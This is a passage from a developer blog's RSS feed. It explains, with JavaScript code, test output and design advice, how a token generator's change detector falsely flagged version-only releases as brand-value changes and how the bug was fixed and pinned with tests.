&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tokens &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { accent: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;#f26722&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; RELEASE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;0.8.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; wroteBy &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;0.7.2&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// What each consumer has on disk, written by the previous release.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cases &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;README badge, no value moved&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;version-badge&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, tokens],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;README badge, accent moved&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,   &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;version-badge&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, { accent: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;#e05500&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;stylesheet, no value moved&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,   &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;css-vars&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,      tokens],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;consumer state                 naive   fixed   PR title&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [name, emitter, diskTokens] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cases) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { version: wroteBy, body: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;emitBody&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(emitter, diskTokens, { version: wroteBy }) };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; naive &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; valuesMovedNaive&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found, emitter, tokens, RELEASE);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; fixed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; valuesMoved&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found, emitter, tokens, RELEASE);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; title &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; fixed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `kit v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;RELEASE&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: BRAND VALUES CHANGED`&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `adopt kit v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;RELEASE&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;naive&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;fixed&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; check.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;consumer state                 naive   fixed   PR title&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;README badge, no value moved   true    false   adopt kit v0.8.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;README badge, accent moved     true    true    kit v0.8.0: BRAND VALUES CHANGED&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;stylesheet, no value moved     false   false   adopt kit v0.8.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Row three is the diagnostic. Under the naive comparison the stylesheet consumer is the only one reporting &lt;code&gt;false&lt;/code&gt;, because it is the only target whose emitter does not embed the version. When one consumer disagrees with all the others, the thing it does differently is the bug.&lt;/p&gt;
&lt;h2&gt;Pin both directions, not just the one that was wrong&lt;/h2&gt;
&lt;p&gt;A fix that makes the false positive go away can also make the detector blind. Both properties need a test, and the negative one is the easy one to skip:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; test &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:test&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; assert &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:assert/strict&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { emitBody } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./emit.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { valuesMoved } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./compare.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tokens &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { accent: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;#f26722&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; onDisk&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (emitter, t, version) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ({ version, body: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;emitBody&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(emitter, t, { version }) });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;a version-only bump of a version-embedding emitter is NOT a values change&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; onDisk&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;version-badge&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, tokens, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.7.2&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;valuesMoved&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;version-badge&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, tokens, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.8.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;a real values change in the same release is still detected&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; onDisk&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;version-badge&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, { accent: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;#e05500&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.7.2&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;valuesMoved&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;version-badge&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, tokens, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.8.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;a region with no recorded version falls back to a direct comparison&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { version: null, body: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;emitBody&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;css-vars&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, tokens) };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;valuesMoved&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;css-vars&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, tokens, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.8.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --test&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; compare.test.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ a version-only bump of a version-embedding emitter is NOT a values change&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ a real values change in the same release is still detected&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ a region with no recorded version falls back to a direct comparison&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ tests 3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ pass 3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ fail 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Confirm the first test is not decorative by reverting the fix, running it, and watching it fail. A regression test you have never seen fail is a test you have not written yet.&lt;/p&gt;
&lt;h2&gt;The same confusion, twice in one afternoon&lt;/h2&gt;
&lt;p&gt;The interesting part is that this is not one bug. Within about fifteen minutes of the same release, a sibling tool’s CI went red on an unrelated pull request, and both fixes landed in one commit. That tool’s golden fixture froze an entire rendered region, including the marker line, and the marker line carries the generator’s version. Bumping the generator to 0.8.1, which changed nothing that tool emits, failed its test.&lt;/p&gt;
&lt;p&gt;The fix there is the mirror image: freeze the region &lt;em&gt;body&lt;/em&gt;, not the rendered block. The marker format belongs to the generator and is covered by the generator’s own tests; a consumer’s golden should assert only what the consumer produces. The general rule underneath both bugs is that a version bump is not a content change, and anything comparing generated output has to be told which parts are content.&lt;/p&gt;
&lt;p&gt;Semantic versioning is explicit that a patch release is for “backward compatible bug fixes” (&lt;a href=&quot;https://semver.org/&quot;&gt;semver.org&lt;/a&gt;), so if a patch bump makes your comparison shout, the comparison is measuring the wrong thing.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Only some emitters have this problem, and the call site cannot tell which.&lt;/strong&gt; A generator with ten emitters where one embeds the version will produce a bug that appears to depend on the consumer rather than on the code. Symptom: a subset of repositories misbehaving, with no pattern in the repositories themselves. Escape: look for what the &lt;em&gt;outlier&lt;/em&gt; does differently, not what the majority share.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A comparison that is always true fails silently, in the loud direction.&lt;/strong&gt; Nothing errors. The pull requests open, the diffs are correct, only the label lies. Symptom: the important label appears on every release, so people stop reading it. Google’s SRE book names the endpoint of that trajectory: when alerts fire too often “employees second-guess, skim, or even ignore incoming alerts, sometimes even ignoring a ‘real’ page that’s masked by the noise” (&lt;a href=&quot;https://sre.google/sre-book/monitoring-distributed-systems/&quot;&gt;Monitoring Distributed Systems&lt;/a&gt;). Escape: for any classification your automation emits, write the test that asserts the &lt;em&gt;quiet&lt;/em&gt; case stays quiet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fixing a false positive can blind the detector.&lt;/strong&gt; The tempting shortcut is to strip version-looking substrings before comparing, which also strips a genuine change to a value that happens to look like a version. Escape: re-render at the recorded version instead of scrubbing text, and keep a test that a real values change in the same release is still caught.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Regions with no recorded version need an explicit path.&lt;/strong&gt; A file written before you added the receipt has no version to re-render at, and &lt;code&gt;emitBody(..., { version: undefined })&lt;/code&gt; will happily produce &lt;code&gt;kit vundefined&lt;/code&gt;. Symptom: the first run after adding receipts reports every legacy consumer as changed. Escape: branch on the missing receipt and fall back to a direct comparison, as the fixed function does.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Goldens that include a version rewrite themselves on every release.&lt;/strong&gt; If a frozen fixture contains the generator’s version, every release fails the test, and the standard response of regenerating the golden trains you to regenerate it without reading it. Escape: freeze with a fixed placeholder version, or freeze only the body, and test version substitution in its own test.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://reproducible-builds.org/docs/timestamps/&quot;&gt;Reproducible Builds: timestamps&lt;/a&gt; — build-time metadata as the main obstacle to bit-for-bit comparison, and pinning it with &lt;code&gt;SOURCE_DATE_EPOCH&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://semver.org/&quot;&gt;Semantic Versioning 2.0.0&lt;/a&gt; — what a patch release is allowed to mean.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sre.google/sre-book/monitoring-distributed-systems/&quot;&gt;Google SRE Book: Monitoring Distributed Systems&lt;/a&gt; — what happens to a signal that fires every time.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(press): a version-only release no longer claims the brand changed (0.8.1) (#142) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/618edc6c8f18f11ff560ecf23351b96b735e848e&quot;&gt;618edc6&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.8.1.png" length="35928" type="image/png"/></item><item><title>Putting a generated banner in a file a machine has to parse</title><link>https://natejswenson.com/devlog/press/v0.8.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.8.0/</guid><description>A generator that splices a block into someone else&apos;s file has one hard requirement: the file must mean exactly what it meant before. Here is how to emit a comment banner into a YAML workflow and prove, without a YAML parser, that it changed nothing.</description><pubDate>Sat, 01 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;0.8.0 taught a token generator to write into GitHub Actions workflow files. It gained a &lt;code&gt;yaml&lt;/code&gt; comment syntax for its region splicer, and an emitter that renders a header banner as comment lines rather than as drawn text.&lt;/p&gt;
